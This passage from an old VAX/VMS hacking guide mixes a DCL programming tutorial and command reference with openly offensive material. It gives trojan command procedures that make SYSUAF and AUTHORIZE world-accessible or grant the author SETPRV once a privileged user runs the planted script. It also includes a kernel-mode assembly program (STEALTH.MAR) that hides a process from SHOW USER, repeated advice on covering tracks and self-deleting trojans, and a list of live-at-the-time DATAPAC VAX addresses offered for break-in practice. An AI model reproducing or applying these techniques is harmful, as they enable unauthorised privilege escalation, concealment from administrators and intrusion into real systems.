  2364. $ pre_prvs=f$setprv(pre_prvs)
  2365. $ @notes.com;55
  2366.  
  2367.  
  2368. In this example we have created another file called notes.com;56 in the proper
  2369. directory.  Whenever someone types in NOTES this file gets executed instead of
  2370. the original.  When control is passed here, it checks if the user has SETPRV
  2371. privilege.  If he doesn't, it continues on with the normal program
  2372. (NOTES.COM;55) If the user has the SETPRV privilege, you have the program
  2373. change the protection on SYSUAF.DAT and AUTHORIZE.EXE to full World Access.
  2374. This means that you can now run AUTHORIZE from ANY ACCOUNT no matter how lowly
  2375. it is!!!  Is that awesome or what?!   Once the protection has been changed, you
  2376. can erase the notes.com;56 file and no one will ever know anything happened!
  2377. Similarly if you modified the actual DCL program, then you just copy back the
  2378. original.  Remember its extremely important to tidy up after yourself once you
  2379. are done!
  2380.  
  2381.  Here is another example, which you may want to try. First of course you MUST
  2382. check for the privileges of the user (just like in the above program), then
  2383. try:
  2384.  
  2385. $open/write file sys$scratch:adduaf.tmp
  2386. $write file "$ RUN SYS$SYSTEM:AUTHORIZE"
  2387. $write file "MODIFY NAME/PRIV=SETPRV"
  2388. $close file
  2389. $@sys$scratch:adduaf.tmp/output=sys$scratch:adduaf.dat
  2390. $del sys$scratch:adduaf.*;*
  2391.  
  2392.  
  2393. This little patch in the coding will modify your own users privileges and give
  2394. them SETPRV when the superuser executes this routine.  The trick is to hide it
  2395. within some other program so he doesn't even realize he has done anything! Of
  2396. course after the routine has been successfully executed, the original coding
  2397. should be put back.  There are many places you can put this routine, including
  2398. ADDUSER.COM (if you have write access)!  That would mean, every time the
  2399. system manager went to add a new user, he would also boost your privs! HaHa,
  2400. quite ironic eh?!  The farthest thing that he wants to do, and you make him do
  2401. it without even realizing.  Of course you should use your imagination and put
  2402. this or a similar routine in a place where it will be quickly executed.  The
  2403. longer the code stays around without being execute, the more chance that it
  2404. will be discovered.  An optimum program would be something that the
  2405. users/operators execute frequently (eg notes, mail, phone etc)  Other good
  2406. places are the LOGIN.COM and SYLOGIN.COM files.  Just remember to cover your
  2407. tracks once you're done!!
  2408.  
  2409.  This is but a brief introduction to Trojans and the like.  You should use your
  2410. own imagination to come up with other ways of making the system operators
  2411. succumb to your wishes...heh heh.
  2412.  
  2413.  
  2414. DCL PROGRAMMING
  2415. ---------------
  2416.  
  2417.  No file would be complete without at least mentioning programming Command
  2418. Procedures.  Basically, these are like BAT files from MS-DOS or script files
  2419. from UNIX.  They form a rudimentary but powerful language that allows you to
  2420. quickly create small programs to handle most simple tasks.  This section is not
  2421. intended to be a a full blown tutorial on programming in DCL, rather its an
  2422. introduction to what it is all about.
  2423.  It is quite easy to pick up programming in DCL and the best way to learn is to
  2424. have a look at some of the COM files you will find on the various VAXes that
  2425. you hack on.  By studying these, you can quickly learn the methods on how to
  2426. perform
  2427. certain routines.  Below I have listed some of the commonly needed routines
  2428. when programming in DCL:
  2429.  
  2430.  
  2431. PASSING PARAMETERS
  2432.  
  2433. Parameters can be passed to DCL programs directly from the shell in several
  2434. ways. Here are a few examples:
  2435.  
  2436. (1) @sample 24 25
  2437.  
  2438.     When you execute this, the values 24 and 25 are passed to the sample.com
  2439.     file in the variables p1 and p2 respectively. ie p1=24, p2=25
  2440.  
  2441. (2) @sample Paul Cramer
  2442.  
  2443.     p1=PAUL,  p2=CRAMER
  2444.  
  2445. (3) @sample "Paul Cramer"
  2446.  
  2447.     p1=Paul,  p2=Cramer
  2448.  
  2449. (4) name= "Paul Cramer"
  2450.     @sample 'name'
  2451.  
  2452.     This example demonstrates the method of passing predefined variables to a
  2453.     command procedure.  In this case,  p1=PAUL,  p2=CRAMER
  2454.  
  2455. (5) name ="""Paul Cramer"""
  2456.     @sample 'name'
  2457.  
  2458.     Note that passing the variable in three double-quotes preserves the case.
  2459.     p1=Paul,  p2=Cramer
  2460.  
  2461.  
  2462.  
  2463. GETTING INPUT
  2464.  
  2465.   Often it is necessary to get some sort of input from the user when executing
  2466. a command procedure.  This is performed through the INQUIRE command. Some
  2467. examples follow:
  2468.  
  2469. (1) INQUIRE variable "prompt"
  2470.  
  2471.     This will display the 'prompt' message and then wait for input.  The string
  2472.     passed is kept in 'variable'
  2473.  
  2474. (2) INQUIRE/NOPUNC variable "prompt"
  2475.  
  2476.     When you specify /NOPUNC, the prompt will NOT be followed by a colon and
  2477.     space as is the default.
  2478.  
  2479. (3) INQUIRE/LOCAL variable "prompt"
  2480.     INQUIRE/GLOBAL variable "prompt"
  2481.  
  2482.     It should be noted that if you specify /LOCAL, the variable will remain in
  2483.     the local symbol table accessible only by this particular COM file.  If on
  2484.     the other hand, you specify /GLOBAL, the variable is placed in the global
  2485.     symbol table and is made accessible to other files.
  2486.  
  2487. (4) IF pn .eqs. "" THEN INQUIRE pn "prompt"
  2488.  
  2489.     You can use this method to check if a certain variable (pn in this case) is
  2490.     null or not.  If it is, you can ask for input.
  2491.  
  2492. (5) READ/PROMPT="prompt" SYS$COMMAND variable
  2493.  
  2494.     This is another method of getting input.
  2495.  
  2496.  
  2497.  
  2498. SUPPLY INPUT FOR A PROGRAM
  2499.  
  2500. Often you may need to create a file and get input from some outside source.
  2501. Again there are several ways of doing this.  Here I will outline three
  2502. different methods:
  2503.  
  2504. FROM DATA      :- CREATE TEST.DAT
  2505.                   data line 1
  2506.                   data line 2
  2507.                        :
  2508.                        :
  2509.                     etc etc
  2510.  
  2511. FROM TERMINAL  :- DEFINE/USER_MODE SYS$INPUT SYS$COMMAND
  2512.                   CREATE TEST.DAT
  2513.  
  2514. FROM A FILE    :- DEFINE/USER_MODE SYS$INPUT TEST.INPUT
  2515.                   CREATE TEST.FILE
  2516.  
  2517.  
  2518. OUTPUTTING INFORMATION
  2519.  
  2520. In general when outputting information, you should always send it to SYS$OUTPUT
  2521. What this does is automatically write to whatever the user has defined as
  2522. SYS$OUTPUT.  It doesn't matter what type of terminal or whatever it is, but it
  2523. will send it in the correct format.  Some examples follow:
  2524.  
  2525. (1)  WRITE SYS$OUTPUT "literal text"
  2526.  
  2527.      This will print 'literal text' on your terminal.
  2528.  
  2529. (2)  WRITE SYS$OUTPUT symbol-name
  2530.  
  2531.      This will print on your terminal whatever value is held in symbol-name
  2532.  
  2533. (3)  WRITE SYS$OUTPUT "literal text ''symbol-name'  literal text"
  2534.  
  2535.      This example shows how you can mix in normal text with a variable and
  2536.      follow it by more text.
  2537.  
  2538. (4)  TYPE SYS$INPUT
  2539.      this is a sample message
  2540.      that is spread out over
  2541.      several lines.
  2542.  
  2543.      You would use this method whenever there are more than a few lines of text
  2544.      to be printed.
  2545.  
  2546.  
  2547.  
  2548. WRITING TO A FILE
  2549.  
  2550. You will find that many times when writing a COMmand procedure you will need to
  2551. save certain information to a file.  This can be accomplished with a routine
  2552. similar to:
  2553.  
  2554. OPEN/WRITE FILE TEST.DAT
  2555. WRITE:
  2556.  INQUIRE DATA "Input Data"
  2557.  IF DATA .EQS. "" THEN GOTO DONE
  2558.  WRITE FILE DATA
  2559.  GOTO WRITE
  2560. DONE:
  2561.  CLOSE FILE
  2562.  
  2563. I will give a quick breakdown of what is going on here.  First you open the
  2564. file that you want, including the /WRITE qualifier followed by the filename.
  2565. This sample program simply inputs data, writes each line to a file and exits
  2566. when the user hits RETURN on a blank line.  Simple but effective text input
  2567. facility.
  2568.  
  2569.  
  2570.  
  2571. READING A FILE
  2572.  
  2573. Once you have written a file, you will often need to read that information back
  2574. in again. For example you may keep track of when the person last ran the file.
  2575. Each time the file is run, you would save the time/date to a file, and then
  2576. read it back in, and display it on each subsequent execution.  The sample
  2577. structure of a read routine would be:
  2578.  
  2579. OPEN/READ FILE TEST.DAT
  2580. READ:
  2581.  READ/END_OF_FILE=DONE FILE DATA
  2582.       .
  2583.       .
  2584.       .
  2585.  GOTO READ
  2586. DONE:
  2587.  CLOSE FILE
  2588.  
  2589. This routine would loop and keep reading a file, one line at a time, storing
  2590. the information in DATA until the end of file is detected.
  2591.  
  2592.  
  2593.  
  2594. CONDITIONAL LOGIC
  2595.  
  2596. No programming language would be complete without the ability to perform logic.
  2597. Although it is very simplistic, it provides just enough power to handle most
  2598. simple conditions.  Some examples:
  2599.  
  2600. (1) IF p1 .EQS. "" THEN GOTO DEFAULT
  2601.  
  2602.     In this example the procedure checks to see if the parameter passed in p1
  2603.     is NULL or not.  If it is then the program branches to DEFAULT
  2604.  
  2605. (2) IF p1 .NES. 10 THEN GOTO end_label
  2606.            .
  2607.            .
  2608.            .
  2609.     END_LABEL:
  2610.  
  2611.     Here we see that if p1 does not equal 10 then the program branches to
  2612.     END_LABEL, otherwise it continues.
  2613.  
  2614. (3) COUNT = 0
  2615.     LOOP:
  2616.      COUNT=COUNT+1
  2617.         .
  2618.         .
  2619.         .
  2620.      IF COUNT .LE. 10 THEN GOTO LOOP
  2621.     EXIT
  2622.  
  2623.  
  2624.     This example shows how to establish a loop in a command procedure, using
  2625.     the symbol COUNT and an IF statement.  The IF statement checks the value
  2626.     of COUNT and performs an EXIT when the value is greater than 10
  2627.  
  2628.  
  2629. EXPRESSIONS
  2630.  
  2631.    The data operations and comparisons are listed below in order of precedence
  2632. beginning with the highest (operations and comparisons grouped together in the
  2633. table have the same precedence).
  2634.  
  2635.  
  2636.    +--------+---------------------------------------------------------+
  2637.    Operator                    Description
  2638.    +--------+---------------------------------------------------------+
  2639.       +     Indicates a positive number
  2640.       -     Indicates a negative number
  2641.    +--------+---------------------------------------------------------+
  2642.       *     Multiplies two numbers
  2643.       /     Divides two numbers
  2644.    +--------+---------------------------------------------------------+
  2645.       +     (1) Adds two numbers
  2646.             (2) Concatenates two character strings
  2647.       -     (1) Subtracts two numbers
  2648.             (2) Subtracts two character strings
  2649.    +--------+---------------------------------------------------------+
  2650.     .EQS.   Tests if two character strings are equal
  2651.     .GES.   Tests if first character string is greater than or equal
  2652.     .GTS.   Tests if first character string is greater than
  2653.     .LES.   Tests if first character string is less than or equal
  2654.     .LTS.   Tests if first character string is less than
  2655.     .NES.   Tests if two character strings are not equal
  2656.     .EQ.    Tests if two numbers are equal
  2657.     .GE.    Tests if first number is greater than or equal to
  2658.     .GT.    Tests if first number is greater than
  2659.     .LE.    Tests if first number is less than or equal to
  2660.     .LT.    Tests if first number is less than
  2661.     .NE.    Tests if two numbers are not equal
  2662.    +--------+---------------------------------------------------------+
  2663.     .NOT.   Logically negates a number
  2664.    +--------+---------------------------------------------------------+
  2665.     .AND.   Combines two numbers with a logical AND
  2666.    +--------+---------------------------------------------------------+
  2667.     .OR.    Combines two numbers with a logical OR
  2668.    +--------+---------------------------------------------------------+
  2669.  
  2670.  
  2671.  
  2672.  
  2673. LEXICAL FUNCTIONS
  2674. -----------------
  2675.  
  2676. That concludes the introduction to DCL programming.  One thing that you should
  2677. keep in mind is that many powerful string editing and environment information
  2678. commands can be accessed from COM files.  These are called the LEXICAL
  2679. functions There are too numerous to list them all here, so I will just provide
  2680. a summary of the primary lexical functions and a brief description:
  2681.  
  2682.  
  2683.  
  2684. LEXICAL       DESCRIPTION
  2685. -------------+------------------------------------------------------------------
  2686. f$cvsi       !converts character string data (signed value) to an integer
  2687. f$cvtime     !retrieves information about an absolute, combination, or delta
  2688.               time
  2689. f$cvui       !converts character string data (unsigned value) to an integer
  2690. f$directory  !returns the current default directory name string
  2691. f$edit       !edits a character string based on the edits specified
  2692. f$element    !extracts an element from a string in which the elements are
  2693.              !separated by a specified delimiter
  2694. f$environment!obtains information about the DCL command environment
  2695. f$extract    !extracts a substring from a character string expression
  2696. f$fao        !converts the control string to an ASCII string
  2697. f$file_attrib!returns attribute information for a specified file
  2698. f$getdvi     !returns parameters for a specified device
  2699. f$getjpi     !returns accounting, status and identification info for a process
  2700. f$getsyi     !returns status and identification information about local or
  2701.              !remote nodes.
  2702. f$identifer  !converts an identifier in named format to its integer equivalent
  2703. f$integer    !returns the integer equivalent of the result of an expression
  2704. f$locate     !locates a character substring within a string and returns its
  2705.              !offset within the string
  2706. f$logical    !translates a logical name and returns the equivalence name string
  2707. f$message    !returns the message text associated with a system status code
  2708. f$mode       !shows the mode in which the process is executing
  2709. f$parse      !parses a file spec and returns either the expanded file spec or
  2710.              !a particular field that you specify
  2711. f$pid        !for each invocation, returns the next PID in sequence
  2712. f$privilege  !returns a value of TRUE or FALSE depending on whether your
  2713.              !process privileges match the privileges listed in the argument
  2714. f$process    !returns the current process name string
  2715. f$search     !searches the directory and returns the full file spec for any
  2716.               file
  2717. f$setprv     !sets the specified privileges and returns the previous state
  2718. f$string     !returns the string equivalent of the result of the specified
  2719.              !expression
  2720. f$time       !returns the data and time of day in format:  dd-mm-yy hh:mm:ss.cc
  2721. f$trnlnm     !translates a logical name and returns the equivalent name string
  2722. f$type       !determines the data type of a symbol
  2723. f$user       !returns the current user identification code (UIC)
  2724. f$verify     !set or read current command procedure state
  2725. -------------+-----------------------------------------------------------------
  2726.  
  2727. This list just outlines the main lexical functions.  Within each function there
  2728. may be many more subfunctions.  If you need help on any of these functions or
  2729. their subfunctions, just type HELP lexical [lexicalname] at any DCL prompt ($)
  2730.  
  2731.  
  2732.  
  2733. ERROR MESSAGES
  2734. --------------
  2735.  
  2736.  Occasionally when you are using DCL, you will come across error messages that
  2737. are sent to you by the VAX.  Here I will give a break down of what the
  2738. different fields in the message represent and how to interpret them. First of
  2739. all, the general format of an error message is:
  2740.  
  2741. %facility-l-ident, text
  2742.  
  2743. NOTE: not all messages are ERROR messages.  Often it is only an informational
  2744.       message telling you that a certain task was successful or whatever. In
  2745.       any case here is what each field means:
  2746.  
  2747. facility  -this is the name of the facility that produced the  error (for
  2748.            example, CLI for the Command Language Interpreter).
  2749.  
  2750. l         -this is a one letter code indicating the severity of the error.
  2751.            The severities are:
  2752.  
  2753.                   I - Informational      E - Error
  2754.                   S - Success            F - Severe error
  2755.                   W - Warning
  2756.  
  2757. ident     -this is an abbreviation for the message text.
  2758.  
  2759. text      -this is a short description of the nature of the error.
  2760.  
  2761.  
  2762. Here is an example of an error message, and how to interpret it:
  2763.  
  2764. %SYSTEM-F-NOCMKRNL, operation requires CMKRNL privilege
  2765.  
  2766. The percent sign in the beginning tells you it is a system message from the VAX
  2767. the first field (SYSTEM) indicates that it is a SYSTEM error.  The second field
  2768. (F) shows that it is a severe error.  The third field (NOCMKRNL) is a short
  2769. abbreviation showing that you do not have the CMKRNL privilege, and the actual
  2770. text is followed giving the error in detail, explaining that you MUST have the
  2771. CMKRNL privilege to perform that particular command.
  2772.  
  2773. SAMPLE PROGRAMS
  2774. ---------------
  2775.  
  2776. Here I present two sample programs. One is the STEALTH assembly language
  2777. program that allows you to hide from SHOW USER.  The other program is a DCL
  2778. COM file that allows you to keep track of who is logging on and off.
  2779.  
  2780.  
  2781. WATCHDOG.COM
  2782. ------------
  2783.  
  2784.   Instead of typing the program into the VAX manually, you can just cut this
  2785. program out in your favorite text editor and save it to a file. Then at the DCL
  2786. ($) prompt type:
  2787.  
  2788. $create watchdog.com
  2789.  
  2790. Then transmit this file over your buffer.  After the file is transmitted, hit
  2791. CTRL-Z.  This will bring you back to the DCL prompt.  At this point you can now
  2792. use this file. To enable watchdog, type:
  2793.  
  2794. $@watchdog
  2795.  
  2796. Basically I wanted to present a COM file to give you an idea of how one works.
  2797. I have tried to throw in a lot of the different techniques that you can use
  2798. from COM files into this one example.  In addition to providing you with a
  2799. good example of how COM files can be manipulated, this program also serves as
  2800. a valuable utility that you can use to monitor the system that you are on.
  2801.  The idea behind watchdog is to keep track of all the people who are logging in
  2802. or out of the system. This can be a very handy tool to keep a watch out for
  2803. system operators etc. The nice thing about this program is that it runs in the
  2804. background, so that you can continue to do whatever you want.  You should note
  2805. how I go about creating another file (watch.com) from within the main watchdog
  2806. program. This of course wasn't necessary since I could have put the whole thing
  2807. into one file and you could just as easily type: spawn/nowait @watchdog, but
  2808. like I stated earlier, the intention is to give a short tutorial on some of the
  2809. techniques that you can employ.  I have also used several lexicals within the
  2810. program to give you an idea of how you can use them within your own creations.
  2811.  
  2812. NOTE: you can terminate WATCHDOG at any time by hitting CTRL-Y, and restart it
  2813.       using: @watchdog
  2814.  
  2815.  
  2816.  
  2817. ---------------------------------- cut here -----------------------------------
  2818.  
  2819. $ !WATCHDOG.COM  by ENTITY /CCC!
  2820. $ !Usage: @watchdog
  2821. $ !
  2822. $ !This handy little utility runs in the background, freeing you to perform
  2823. $ !other tasks, while at the same time keeping track of who is logging ON or
  2824.    OFF
  2825. $ !the system. It is a simple demonstration of how powerful DCL programming can
  2826. $ !be when it is used together with the lexical functions.
  2827. $ !
  2828. $ !CTRL-Y will terminate the WATCHDOG subprocess at any time.  The program
  2829. $ !also automatically terminates when you log off.
  2830. $ !
  2831. $ create watch.com
  2832. $ deck
  2833. $ on control_y then goto terminate
  2834. $ del watch.com;*
  2835. $ w := write sys$output
  2836. $ node    = f$getsyi("nodename")
  2837. $ cpu     = f$extract(1,3,f$getsyi("node_hwtype"))
  2838. $ version = f$getsyi("version")
  2839. $ boot    = f$extract(0,17,f$getsyi("boottime"))
  2840. $ w "WATCHDOG  on  ''node'  VAX-11/''cpu'  VMS ''version'"
  2841. $ w "Up since ''boot'      (c) 1989 Entity"
  2842. $ list = "watch1.dat"
  2843. $ gosub file_io
  2844. $ c1 = c
  2845. $ loop:
  2846. $ list = "watch2.dat"
  2847. $ gosub file_io
  2848. $ c2 = c
  2849. $ if c1 .eq. c2 then goto loop
  2850. $ if c2 .gt. c1 then goto newuser
  2851. $ file  = "watch1.dat"
  2852. $ file2 = "watch2.dat"
  2853. $ gosub compare
  2854. $ w "--- ''a' ---  ''timelog' "
  2855. $ goto loop
  2856. $ newuser:
  2857. $ file  = "watch2.dat"
  2858. $ file2 = "watch1.dat"
  2859. $ gosub compare
  2860. $ w "+++ ''a' +++  ''timelog' "
  2861. $ goto loop
  2862. $ !
  2863. $ ! Construct a UserList of processes currently logged in
  2864. $ !
  2865. $ file_io:
  2866. $ c = 0
  2867. $ sho users/output = watch.dat
  2868. $ open/share/read in watch.dat
  2869. $ open/share/write out 'list'
  2870. $ read in a
  2871. $ read in a
  2872. $ read in a
  2873. $ lp01:
  2874. $ read/end_of_file=fin1 in a
  2875. $ write out a
  2876. $ c = c + 1
  2877. $ goto lp01
  2878. $ fin1:
  2879. $ close in/nolog
  2880. $ close out/nolog
  2881. $ purge watch.dat
  2882. $ purge 'list'
  2883. $ return
  2884. $ !
  2885. $ ! Get a formatted output of the current TIME and DATE of LOGIN/LOGOUT
  2886. $ !
  2887. $ gettime:
  2888. $ temp = f$extract(3,3,f$time ())+" "+f$extract(0,2,f$time())+","
  2889. $ temp = temp + f$extract(7,4,f$time())+"  "+f$extract(12,5,f$time())
  2890. $ timelog = f$cvtime("today",,"weekday")+" "+temp
  2891. $ return
  2892. $ !
  2893. $ ! Compare the Userlist to a previous listing
  2894. $ !
  2895. $ compare:
  2896. $ open/share/read in 'file'
  2897. $ lp02:
  2898. $ read/end_of_file=fin2 in a
  2899. $ a=f$fao("!12AS",a)
  2900. $ set message/noid/nofac/notext/nosev
  2901. $ search 'file2' 'a'
  2902. $ chk = $severity
  2903. $ set message/id/sev/fac/text
  2904. $ if chk .eqs. "1" then goto lp02
  2905. $ fin2:
  2906. $ close in/nolog
  2907. $ gosub gettime
  2908. $ c1 = c2
  2909. $ copy watch2.dat watch1.dat
  2910. $ purge watch1.dat
  2911. $ return
  2912. $ !
  2913. $ ! Terminate process and cleanup.
  2914. $ !
  2915. $ terminate:
  2916. $ w "USER TERMINATION OF WATCHDOG!"
  2917. $ set message/nofac/noid/notext/nosev
  2918. $ del watch*.dat;*
  2919. $ set message/fac/id/text/sev
  2920. $ pid = f$getjpi("","PID")
  2921. $ stop/id='pid'
  2922. $ eod
  2923. $ spawn/nowait @watch.com
  2924. $ exit
  2925.  
  2926. ---------------------------------- cut here -----------------------------------
  2927.  
  2928.  
  2929. NOTE: Notice the little trick that I employ on the 16th line of the DCL file:
  2930.       I have the program delete itself!  This can be VERY useful in many
  2931.       applications where you don't want the program lying around after it has
  2932.       been executed once (eg. trojan horses!)
  2933.  
  2934.  
  2935.  
  2936.  
  2937. STEALTH.MAR
  2938. -----------
  2939.  
  2940.  Ok here i present the stealth.mar program.  This little assembler beauty lets
  2941. you hide from the SHOW USER command!  Very useful for remaining undetected on
  2942. VAX/VMS systems.  Ok first heres the program:
  2943.  
  2944.  
  2945.  
  2946. ---------------------------------- cut here -----------------------------------
  2947.  
  2948. .library /sys$library:lib.mlb/
  2949. .link /sys$system:sys.stb/
  2950. $pcbdef
  2951. .entry no_user,^m<>
  2952. $cmkrnl_s routin=blast_it
  2953. ret
  2954. .entry blast_it,^m<>
  2955. tstl pcb$l_owner(r4)
  2956. bneq outta_here
  2957. bbcc #pcb$v_inter,pcb$l_sts(r4),outta_here
  2958. clrb pcb$t_terminal(r4)
  2959. decw g^sys$gw_ijobcnt
  2960. bisl #pcb$m_noacnt,pcb$l_sts(r4)
  2961. outta_here:
  2962. movl #ss$_normal,r0
  2963. ret
  2964. .end no_user
  2965.  
  2966. ---------------------------------- cut here -----------------------------------
  2967.  
  2968.  
  2969. Ok heres the instructions on using it.  First create the file stealth.mar on
  2970. the VAX. This can be accomplished by:
  2971.  
  2972. $create stealth.mar
  2973.  
  2974. Then transmit this file through the buffer option in your terminal program.
  2975. After you finish the transmit, hit CTRL-Z to exit the create file option. At
  2976. this point you will be put back into DCL.  Then perform the following steps:
  2977.  
  2978. $macro stealth
  2979. $link /nomap stealth
  2980. $delete stealth.obj;*
  2981. $delete stealth.mar;*
  2982. $run stealth
  2983. $del stealth.exe;*
  2984. $show system
  2985.  
  2986. At this point, your screen will fill up, showing you all the active processes.
  2987. Make a note of the processes that have the format: "symbiont_xxxx" Look for the
  2988. last available one, then increase the number by 1.  For example if the last
  2989. symbiont process was "symbiont_0003" then you should type:
  2990.  
  2991. $set proc/name="symbiont_0004"
  2992.  
  2993. This will effectively name your process as a printer driver, thereby making it
  2994. even harder to detect you.  Of course you are not safe from the SDA (since it
  2995. can access memory directly) but it affords quite a bit of protection
  2996. nonetheless Ok one small note, you require CMKRNL privilege to execute this
  2997. file (because of the Change To Kernal Mode command in the 5th line of the
  2998. code).  One other point that I want to make is that you should NEVER leave the
  2999. .MAR or .OBJ file for STEALTH on ANY system!  The best thing is to either hide
  3000. the EXE file in some remote directory or delete it, after you execute it.  It
  3001. doesn't hurt to play it safe!
  3002.  
  3003.  
  3004. NOTE: a programming note, if you need to access the symbols defined by the
  3005.     system, such as the number of users online etc, you should link the system
  3006.       symbol table to your OBJ file. The actual file is: sys$system:sys.stb
  3007.  
  3008.  
  3009.  
  3010.  
  3011. DATAPAC VAX LISTING
  3012. -------------------
  3013.  
  3014.     Here I provided a partial list of CANADIAN VAXes hooked up on DATAPAC.
  3015. These have been provided merely as a hacking exercise to get you started, and
  3016. as such i have not listed any user/password combinations.  Some of these have
  3017. regular defaults, other have variations, and yet others require some thinking
  3018. and good luck to get in!  One small point, since all of these are Canadian
  3019. I have not bothered to include the DNIC.  So if you are calling through lets
  3020. say telenet and for example if the nua in the listing is 38701020 then to
  3021. connect to it, use the NUA 0302038701020  (ie add a 03020 to the beginning).
  3022. All of these VAXes were up and operating at the time of writing...
  3023.  
  3024. CANADIAN VAX LISTING
  3025. --------------------
  3026.  
  3027.  21700051          66200071            43700018            93800046
  3028.  76600029          62400061            87400010            91100024
  3029.  62700151          30400017            33400620            95100160
  3030.  41500778          88500561            93600010            66700024
  3031.  70700033          88500100            36700026            87400010
  3032.  85800778          76150042            36700027            90400156
  3033.  60500417          56290039            36700581            95100160
  3034.  64100146          55400127            36700178            91100024
  3035.  35600330          83500600            39100556            62700056
  3036.  44200519          49900053            36700211            59600384
  3037.  44600032          78100120            20500047            60100175
  3038.  88100073          64700253            85701445            63100131
  3039.  20500366          69200295            28330324            85701445
  3040.  44400900          97500075            28361325            63300483
  3041.  72101099          83400117            28362116            59500120
  3042.  64700029          95100160            36700140            78100265
  3043.  71100755          91100024            43700018            21450017
  3044.  53700306          49700003            54100112            93800393
  3045.  38700165          63300483            48500127            70700033
  3046.  24400263          78100651            57100010            43700230
  3047.  22500019          78100265            45800116            30500037
  3048.  68100563          78100092            54100013            37200020
  3049.  
  3050.  
  3051. CONCLUSION
  3052. ----------
  3053. Ah, that be it!  I hope you enjoyed the file and found it informative.  As i
  3054. stated earlier, it was not intended to be an advanced course on VAX hacking,
  3055. merely an introduction to whet your appetite and lead you on to bigger and
  3056. better things.  Since this file was put together in quite a hurry, i realize
  3057. that it isn't properly organized, and i am sure i forgot to mention some
  3058. important things, so i must apologize for that.  I also didn't get a chance to
  3059. verify all of the diagrams and charts I have put in (a lot of it was from
  3060. memory) but to the best of my knowledge all of this information is correct.
  3061. One minor point is that some commands may perform a bit differently on
  3062. different versions of VMS.  For example the SHOW USER output that I have
  3063. described is quite different in version 4.4 from version 5.1 The main ideas
  3064. that I have described however, apply to all versions of VMS, and you shouldn't
  3065. have any difficulties.
  3066.  
  3067. If you have any comments, suggestions, criticisms or even questions, i would be
  3068. glad to hear from you.  You can reach me in several ways.  First i can be found
  3069. on these boards:
  3070.  
  3071. CCC HQ :  (416)/398-3301    User:GUEST,  PW:GUEST
  3072. NODE 13:  (416)/756-4545    type  !!  ,login:LYNX
  3073.  
  3074. You can also reach me on QSD (France): 33-36-43-15-15, leave mail to ENTITY.
  3075. If you are calling through a Packet Switching System, then you can reach call
  3076. the QSD NUA at: 0208057040540.  You can also probably find me hanging around
  3077. on these CHAT systems:
  3078.  
  3079. TCHH  :026245400050570   login: guest
  3080. ALTGER:026245890040004   login: guest
  3081.  
  3082.  
  3083.  Now before I take off, I would like to thank some people who have made hacking
  3084. VAX/VMS possible and a helluva lot more fun for me!
  3085.  
  3086. Disk Weasel   - for getting me started into VAX/VMS hacking in the first place!
  3087.                 (thanks Catherine for introducing us!)
  3088. Jetscream     - for all the late night hacking sessions clobbering systems!
  3089. Wonder Warthog- for so freely sharing 5 billion VAX accounts with me.  The man
  3090.                 with infinite defaults..how does he do it!?...haha
  3091. The Keeper & Flex Motta- for sharing many a system with me
  3092. Rod & Scott  (SRB tech)- thanks for all the technical help!
  3093. Cottapin, Piper, Par, Snooty and the rest of the ALTOS gang for all the
  3094. interesting talks...
  3095.  
  3096. See ya around!
  3097.  
  3098. E N T I T Y
  3099.  
  3100. Corrupt Computing Canada!
  3101.  
  3102. DCL REFERENCE SECTION
  3103. ---------------------
  3104.  
  3105.   Rather than provide a DCL dictionary, I thought it would be more appropriate
  3106. for a beginners file to include a section that separates some of the more
  3107. useful commands according to function:
  3108.  
  3109. -------------------------------------------------------------------------------
  3110. 1. Submitting batch and print jobs and controlling batch and print queues.
  3111.  
  3112. ASSIGN/MERGE      Moves jobs from one queue to another.
  3113. ASSIGN/QUEUE      Assigns a queue to a device.
  3114. DEASSIGN/QUEUE    Deassigns a queue from a device.
  3115. DELETE/ENTRY      Deletes a job or jobs from a queue.
  3116. DELETE/QUEUE      Deletes a queue and all its jobs.
  3117. INITIALIZE/QUEUE  Creates and initializes a queue.
  3118. PRINT             Places a job in a print queue.
  3119. SET QUEUE         Changes the current status or attributes of a queue.
  3120. SET QUEUE/ENTRY   Changes the attributes of a job.
  3121. SHOW PRINTER      Displays default characteristics defined for a printer.
  3122. SHOW QUEUE        Displays the attributes of the jobs in a queue.
  3123. START/QUEUE       Starts or restarts a queue.
  3124. STOP/QUEUE        Stops a queue.
  3125. SUBMIT            Places a job in a batch queue.
  3126. SYNCHRONIZE       Suspends processing until a specified job completes.
  3127.  
  3128. -------------------------------------------------------------------------------
  3129. 2. Performing operations specific to command procedures.
  3130.  
  3131. DECK              Marks the beginning of a special input stream.
  3132. DELETE/SYMBOL     Deletes one or more names from a symbol table.
  3133. EOD               Marks the end of a special input stream.
  3134. EXIT              Terminates a command procedure.
  3135. GOTO              Transfers control to a label in a command procedure.
  3136. IF                Executes a command only if an expression is true.
  3137. INQUIRE           Requests input and assigns the result to a symbol.
  3138. ON                Specifies an action to perform when a condition occurs.
  3139. SET CONTROL       Controls the use of the CTRL/T and CTRL/Y keys.
  3140. SET ON            Sets error checking on or off.
  3141. SET RESTART_VALUE Sets the value of a batch job restart symbol.
  3142. SET VERIFY        Displays command input as it is read.
  3143. SHOW SYMBOL       Displays the value of a symbol.
  3144. WAIT              Suspends processing for a specified period of time.
  3145. OPEN              Makes a file available for reading or writing.
  3146. CLOSE             Terminates processing of a file.
  3147. READ              Reads and optionally deletes a record from an open file.
  3148. WRITE             Writes a record to an open file.
  3149.  
  3150. -------------------------------------------------------------------------------
  3151. 3. Communicating with other people using the system.
  3152.  
  3153. MAIL              Sends/reads messages to/from other users.
  3154. PHONE             Permits users to communicate by typing messages to
  3155.                   one another's terminal screens.
  3156. REPLY             Displays a message on one or more terminal screens.
  3157. REQUEST           Displays a message on the operator's console.
  3158. SHOW USERS        Lists the interactive users on the system.
  3159.  
  3160. -------------------------------------------------------------------------------
  3161. 4. Create and switch control between user processes.
  3162.  
  3163. LOGOUT            Terminates an interactive terminal session.
  3164. SET PASSWORD      Changes your password.
  3165. ANALYZE/PROCESS   Analyzes a process dump.
  3166. ATTACH            Switches your terminal between SPAWNed processes.
  3167. CONNECT           Connects a physical terminal to a virtual terminal.
  3168. DISCONNECT        Disconnects a physical terminal from a virtual terminal.
  3169. PRINT             Creates a print job.
  3170. RUN/PROCESS       Creates a detached process or subprocess.
  3171. SET HOST          Connects your terminal to another system via DECnet.
  3172. SHOW NETWORK      Displays the nodes you can reach from your system.
  3173. SPAWN             Creates a subprocess with a similar environment.
  3174. SUBMIT            Creates a batch job.
  3175.  
  3176. -------------------------------------------------------------------------------
  3177. 5. Creating and debugging images.
  3178.  
  3179. ANALYZE/IMAGE     Analyzes an image file.
